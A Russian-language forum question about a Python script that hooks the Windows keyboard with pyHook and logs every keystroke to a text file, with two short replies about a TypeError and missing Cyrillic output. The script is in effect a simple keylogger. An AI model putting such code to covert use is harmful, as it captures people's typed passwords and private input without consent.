Задать вопрос
@valo1114
Python coder

Что не так с программой?

Реагирует на цифры корректно , а на буквы нет . Как справить?

import pyHook
import pythoncom
import win32gui
import win32console
import pyHook, pythoncom, sys, logging

file_log = 'file.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


Реакция на буквы
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
  • Вопрос задан
  • 1021 просмотр
Подписаться 2 Оценить 1 комментарий
Помогут разобраться в теме Все курсы
  • Нетология
    Python-разработчик: расширенный курс + нейросети
    12 месяцев
    Далее
  • Яндекс Практикум
    Python-разработчик
    10 месяцев
    Далее
  • Skillbox
    Профессия Python-разработчик + ИИ
    10 месяцев
    Далее
Пригласить эксперта
Ответы на вопрос 2
sim3x
@sim3x
где-то есть функция KeyboardSwitch() в которую не передаются аргументы
Ответ написан
Комментировать
TomasHuk
@TomasHuk
У меня тоже была такая проблема. И осталась.
На борту Win7 и python 3.3. Ваша программа запускается, работает, но не пишет в лог символы кириллицы. Английские буквы и цифры пишет нормально.
Был похожий вопрос. Посмотрите мой ответ там.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
ITK academy Краснодар
от 220 000 до 300 000 ₽
ITK academy Краснодар
от 75 000 ₽
DimaTech Ltd Краснодар
от 140 000 до 140 000 ₽